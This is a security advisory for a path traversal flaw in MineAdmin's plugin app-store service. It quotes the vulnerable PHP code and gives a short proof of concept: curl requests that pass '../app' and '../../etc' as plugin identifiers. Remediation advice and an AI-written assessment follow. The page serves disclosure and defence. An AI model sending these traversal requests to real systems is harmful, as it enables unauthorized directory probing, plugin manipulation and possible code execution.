MineAdmin CVE-2026-55224
HIGHSeverity by source
Network-accessible endpoint, low complexity; PR:L because a valid JWT is required; scope change (S:C) because traversal and Composer execution can affect resources outside the plugin directory.
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Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall
Summary
The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.
Vulnerable Code
File: plugin/mine-admin/app-store/src/Service/Service.php
// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
if (empty($params['identifier']) || empty($params['version'])) {
$this->throwParamsFail();
}
$service = make(AppStoreServiceImpl::class);
if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal
$result = $service->download($params['identifier'], $params['version']);
// ...
}
return true;
}
// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
if (file_exists($path . '/install.lock')) {
$this->throwAppInstalled();
}
Plugin::install($params['identifier']); // May run composer commands with traversal path
return true;
}
// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
Plugin::uninstall($params['identifier']); // Arbitrary uninstall
return true;
}File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)
#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)Proof of Concept
# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../app", "version": "1.0.0"}'
# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin
# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../../etc", "version": "1.0.0"}'Impact
- Path traversal enables reading directory existence outside the plugin directory
Plugin::install()with a traversed identifier may run composer commands on arbitrary directories- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
- Could lead to arbitrary code execution depending on
Plugin::install()implementation
Remediation
Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.
AnalysisAI
Path traversal via unsanitized plugin identifier in MineAdmin's app-store service enables any authenticated user to read directory existence outside the plugin root, trigger Plugin::install() and Plugin::uninstall() on arbitrary filesystem paths, and potentially execute arbitrary Composer commands. Affected versions are all releases of composer/mineadmin/mineadmin prior to v3.2.0-alpha.2. …
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Vulnerability AssessmentAI
| Exploitation | The attacker must possess a valid JWT bearer token for any MineAdmin account - no administrator or elevated permission is required because PermissionMiddleware is absent from the plugin store controller (GM-4340). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS vector was not provided by the reporter; independent assessment is required (see assessed_cvss_vector). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Upgrade to MineAdmin v3.2.0-alpha.2 or later; the vendor-released patch is available at https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2 and the fixing commit is https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1. … Detailed patch versions, workarounds, and compensating controls in full report. |
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Within 24 hours, inventory all systems running MineAdmin and document their current versions and bearer-token usage patterns. …
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